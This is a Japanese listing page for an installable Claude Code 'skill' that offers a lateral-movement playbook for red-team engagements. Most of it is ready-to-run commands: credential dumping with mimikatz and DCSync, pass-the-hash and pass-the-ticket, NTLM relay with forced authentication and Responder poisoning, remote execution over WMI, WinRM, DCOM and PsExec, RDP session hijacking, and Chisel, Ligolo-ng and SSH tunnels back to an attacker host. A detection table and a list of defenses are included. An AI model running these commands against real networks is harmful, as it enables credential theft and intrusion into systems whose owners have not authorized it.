offensive-lateral-movement について
許可を得たレッドチーム演習向けに、初期侵入後のネットワーク内移動を扱うセキュリティスキルです。認証情報の利用、リモート実行、セッションハイジャック、トンネリングと検知情報をまとめています。
主な機能
- 01認証情報とチケットの再利用
- 02NTLM リレー手法
- 03リモート実行方法
- 04RDP セッションハイジャック
- 05SSH とネットワークトンネル
- 06検知と OPSEC の解説
活用シーン
- 01許可された演習での横方向アクセス評価
- 02認証情報に応じた実行方法の選択
- 03踏み台経由での分離ネットワークへの接続
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-lateral-movementインストール後、Claude Code で/offensive-lateral-movementを入力して読み込まれたか確認します。
詳細
攻撃的なラテラルムーブメント
ラテラルムーブメントとは、最初の侵害後にネットワーク内でアクセス範囲を広げるフェーズです。窃取した認証情報、トークンの操作、またはプロトコルの悪用によって、あるシステムから別のシステムへピボットします。目標は、検知の痕跡を最小限に抑えながら、ドメインコントローラー、データベースサーバー、ファイル共有などの高価値なターゲットに到達することです。ここで説明するすべての手法は、現在のホストで少なくとも1つの有効な認証情報またはセッショントークンを保持していることを前提とします。
このスキルでは、認証情報を利用した移動、NTLM リレー、リモート実行プロトコル、セッションハイジャック、ネットワークトンネリングについて説明します。これらは、許可されたエンゲージメントでのみ適用してください。
クイックワークフロー
- アクセス可能なホストと開いているポート(445、5985、5986、3389、22、135)を列挙します。
- 現在のホストから認証情報を収集します(LSASS、SAM、キャッシュされた認証情報)。
- crackmapexec/netexec を使って、発見したホスト間で認証情報の再利用をテストします。
- 利用可能な認証情報とターゲットのサービスに基づいて、移動手法を選択します。
- さらに移動する前に、新しいホストで永続化を確立します。
- セグメント化されたネットワークに到達する必要がある場合は、トンネリングを設定します。
- エンゲージメントレポート用に、ピボットごとに記録します。
Pass-the-Hash
Pass-the-hash(PtH)を使うと、プレーンテキストのパスワードを知らなくても、NTLM ハッシュで認証できます。LSASS、SAM データベース、または NTDS.dit からハッシュを抽出し、認証リクエストに注入します。
現在のホストで mimikatz を使ってハッシュを抽出します。
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
crackmapexec(または netexec)を使って、ネットワーク上でハッシュを試します。
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
シェルアクセスには impacket を使います。
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/[email protected]
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/[email protected]
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC に関する注意:PsExec はターゲット上にサービスを作成します(イベント 7045)。可能な場合は wmiexec または evil-winrm を優先してください。複数のハッシュに対して複数のユーザーをテストする際は、crackmapexec の --no-bruteforce を指定すると、アカウントロックアウトを防げます。
Pass-the-Ticket と Overpass-the-Hash
Pass-the-ticket(PtT)は、盗んだ Kerberos TGT または TGS をセッションに注入し、チケットの所有者として認証できるようにします。Overpass-the-hash は、NTLM ハッシュを Kerberos チケットに変換し、ハッシュだけで Kerberos ベースのアクセスを可能にします。
mimikatz を使って、メモリからチケットをエクスポートします。
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
Overpass-the-hash — NTLM ハッシュを使って Kerberos TGT をリクエストします。
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
Linux から impacket を使う場合:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/[email protected]
特定の SPN のサービスチケットをリクエストします。
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC に関する注意:Kerberos 認証では、イベント 4768(TGT リクエスト)と 4769(TGS リクエスト)が生成されます。Overpass-the-hash は、AES がドメインのデフォルトである場合に、RC4 暗号化を使用する異常な 4768 を生成します。これは既知の検知シグナルです。
NTLM リレー攻撃
NTLM リレーでは、認証の試行を捕捉し、ターゲットのサービスに転送します。マシンにリスナーへの認証を強制し、その認証を SMB 署名が強制されていない別のホストに中継します。
ネットワーク全体で SMB 署名を確認します。
# Identify hosts without SMB signing required
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# Alternative with nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24
捕捉した認証を中継するように ntlmrelayx を設定します。
# Relay to targets without SMB signing, dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt"
# Relay to LDAP for delegation abuse or shadow credentials
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$
# Relay to ADCS web enrollment for certificate theft
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
PetitPotam(MS-EFSR の悪用)で認証を強制します。
# Unauthenticated coercion (patched but often still works)
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>
# Authenticated coercion
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
DFSCoerce(MS-DFSNM)で強制します。
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
PrinterBug(MS-RPRN)で強制します。
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>
ポイズニングと捕捉のために Responder を設定します。
# Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -wFb
# Run in analysis mode first to identify traffic
responder -I eth0 -A
OPSEC に関する注意:NTLM リレーは検知されやすい手法です。Responder のポイズニングは、重複する名前解決応答を監視することで検知できます。PetitPotam による認証の強制では、DC からリスナーへのログオンとして、イベント 4624 の種類 3 が生成されます。
リモート実行の手法
有効な認証情報があれば、複数のプロトコルを使ってリモートコマンドを実行できます。それぞれ、異なるフォレンジック上の痕跡を残します。
WMI 実行
# impacket wmiexec -- semi-interactive shell via WMI
impacket-wmiexec corp.local/admin:[email protected]
# Execute a single command
impacket-wmiexec corp.local/admin:[email protected] "ipconfig /all"
# With hash
impacket-wmiexec -hashes :<NT_HASH> corp.local/[email protected]
WMI はサービスを作成しません。出力は ADMIN$ 共有上の一時ファイルに書き込まれ、そこから読み戻されます。WMI イベントログ(Microsoft-Windows-WMI-Activity)が生成されます。
WinRM / PSRemoting
# evil-winrm interactive shell
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'
# With hash
evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>
# Upload/download files
upload /local/path/payload.exe C:\Windows\Temp\payload.exe
download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt
# Native PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred
Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }
WinRM を使用するには、ポート 5985(HTTP)または 5986(HTTPS)が開いており、ユーザーが Remote Management Users グループに属しているか、ローカル管理者である必要があります。
PsExec と代替手段
# impacket psexec -- creates a service, uploads binary
impacket-psexec corp.local/admin:[email protected]
# smbexec -- no binary upload, uses cmd.exe service
impacket-smbexec corp.local/admin:[email protected]
# atexec -- scheduled task execution
impacket-atexec corp.local/admin:[email protected] "whoami"
# dcomexec -- DCOM MMC20.Application or ShellWindows
impacket-dcomexec -object MMC20 corp.local/admin:[email protected]
DCOM によるラテラルムーブメント
# Instantiate MMC20.Application on remote host
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")
# ShellWindows method
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
DCOM では、ポート 135 と動的 RPC ポートが必要です。DCOM イベントログが生成されます (DistributedCOM 10016 エラーはよく見られる兆候です)。
RDP セッションのハイジャック
ターミナルサーバーで SYSTEM 権限を持っていれば、セッション所有者のパスワードを知らなくても、切断された RDP セッションをハイジャックできます。
# List active sessions
query user
# Hijack a disconnected session (requires SYSTEM context)
# Session ID 2, redirect to your console session
tscon 2 /dest:console
# Create a service to run tscon as SYSTEM
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
net start sesshijack
この手法(T1563.002)は、管理者がセッションを切断状態のままにする踏み台サーバーで特に強力です。イベント 4778(セッション再接続)と 4779(セッション切断)が記録されます。
SSH によるピボットとトンネリング
Linux ホスト、または OpenSSH がインストールされた Windows ホストに侵入したら、通常はアクセスできないネットワークセグメントに到達するためのトンネルを設定します。
SSH トンネル
# Local port forward: access 10.10.20.50:445 through pivot host
ssh -L 8445:10.10.20.50:445 user@pivot-host
# Dynamic SOCKS proxy through pivot host
ssh -D 1080 user@pivot-host
# Use proxychains with the SOCKS proxy
proxychains crackmapexec smb 10.10.20.0/24
# Remote port forward: expose internal service to your attack box
ssh -R 8080:127.0.0.1:80 user@attack-box
Chisel
# On your attack box (server mode)
chisel server --reverse --port 8080
# On the pivot host (client, reverse SOCKS)
chisel client <ATTACK_IP>:8080 R:socks
# This creates a SOCKS5 proxy on attack box port 1080
# Use with proxychains
proxychains impacket-psexec corp.local/admin:[email protected]
Ligolo-ng
# On attack box: start the proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On pivot host: connect the agent
ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert
# In the ligolo interface, add a route to the target network
>> session
>> ifconfig
>> start
# On attack box, add route
sudo ip route add 10.10.20.0/24 dev ligolo
Ligolo-ng は攻撃側のマシンに TUN インターフェースを作成し、proxychains を必要とせずに、ターゲットネットワークへ IP レイヤーで直接アクセスできるようにします。プロキシ設定に対応していないツールでは、SOCKS プロキシを使うよりも大幅に信頼性が高くなります。
二重ピボット
# Chain two SSH tunnels for multi-hop pivoting
# Hop 1: pivot1 can reach pivot2
ssh -L 2222:pivot2:22 user@pivot1
# Hop 2: through pivot2 to the final target network
ssh -L 8445:10.10.30.50:445 -p 2222 [email protected]
# Chisel double pivot
# Attack -> pivot1 -> pivot2 -> target
# On pivot1: chisel server + client chained
chisel server --port 9001 --reverse
chisel client <ATTACK_IP>:8080 R:socks
# On pivot2: connect through pivot1
chisel client pivot1:9001 R:1081:socks
検出/防御側の視点
防御側が何を調べるのかを理解し、検出リスクを評価してください。
| 手法 | 主な検出方法 | イベント ID/ログ |
|---|---|---|
| Pass-the-Hash | 先行するタイプ 10 なしでタイプ 3 の NTLM ログオン | 4624(ログオンタイプ 3、9) |
| Pass-the-Ticket | AES がデフォルトのときに RC4 を使用した TGT リクエスト | 4768、4769 |
| NTLM リレー | マシンアカウントが通常とは異なるサービスに対して認証 | 4624、NTLM 監査ログ |
| PsExec | サービスの作成、ADMIN$ 共有へのアクセス | 7045、5145 |
| WMI | WMI プロセスの作成、ADMIN$ 上の一時ファイル | WMI-Activity、4688 |
| WinRM | WSMan 接続、PowerShell リモーティングのログ | Microsoft-Windows-WinRM |
| DCOM | DistributedCOM エラー、RPC トラフィック | 10016、4688 |
| RDP ハイジャック | ログオンなしでのセッション再接続 | 4778、4779 |
| Chisel/Ligolo | 通常とは異なる送信接続、TUN インターフェース | Netflow、Sysmon 3 |
遭遇する主な防御側の対策:
- SMB 署名の強制により、リレー攻撃を完全に阻止できます。
- Credential Guard は、最新の Windows での LSASS ハッシュ抽出を防ぎます。
- Windows Defender Credential Guard は、メモリ内の Kerberos チケットを保護します。
- LAPS は、ホストごとにローカル管理者のハッシュを固有にし、PtH の影響範囲を制限します。
- 階層型管理により、特権アカウントがログオンできる場所を制限します。
- ネットワークセグメンテーションにより、ラテラルアクセス可能な範囲を制限します。
- 適切に構成された Sysmon は、プロセスの作成、ネットワーク接続、名前付きパイプのイベントを記録し、ここで紹介したほとんどの手法を明らかにします。
エンゲージメント用チートシート
よくあるラテラルムーブメントのシナリオをすぐに参照できます。
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------- -------------------------- ----------------------------------------
Have NTLM hash, SMB open Pass-the-Hash crackmapexec smb -H / impacket-wmiexec -hashes
Have NTLM hash, WinRM open PtH over WinRM evil-winrm -H
Have cleartext creds PSRemoting / WinRM evil-winrm -u -p / Enter-PSSession
Have Kerberos ticket Pass-the-Ticket export KRB5CCNAME= / kerberos::ptt
No creds, SMB signing off NTLM Relay ntlmrelayx + PetitPotam/Responder
SYSTEM on terminal server RDP Hijack tscon <ID> /dest:console
Need to reach segmented net Tunneling chisel / ligolo-ng / ssh -D
Linux pivot host SSH tunneling ssh -D 1080 / ssh -L
Need full IP-layer access Ligolo-ng ligolo-proxy + ligolo-agent
Multi-hop pivot Chained tunnels SSH ProxyJump / chisel chain
Domain creds, want Kerberos Overpass-the-Hash sekurlsa::pth / impacket-getTGT
Need stealth execution WMI / DCOM impacket-wmiexec / dcomexec
MITRE ATT&CK のリファレンス:
- T1021 -- リモートサービス(.001 RDP、.002 SMB、.003 DCOM、.004 SSH、.006 WinRM)
- T1550 -- 代替認証情報の使用(.002 PtH、.003 PtT)
- T1557 -- 中間者攻撃(.001 LLMNR/NBT-NS ポイズニング)
- T1563 -- リモートサービスセッションのハイジャック(.002 RDP ハイジャック)
主な参考資料
- Mimikatz wiki:https://github.com/gentilkiwi/mimikatz/wiki
- Impacket のサンプル:https://github.com/fortra/impacket/tree/master/examples
- CrackMapExec/NetExec のドキュメント:https://www.netexec.wiki/
- Evil-WinRM:https://github.com/Hackplayers/evil-winrm
- Chisel:https://github.com/jpillora/chisel
- Ligolo-ng:https://github.com/nicocha30/ligolo-ng
- PetitPotam:https://github.com/topotam/PetitPotam
- DFSCoerce:https://github.com/Wh04m1001/DFSCoerce
- The Hacker Recipes -- NTLM リレー:https://www.thehacker.recipes/ad/movement/ntlm/relay
- MITRE ATT&CK ラテラルムーブメント:https://attack.mitre.org/tactics/TA0008/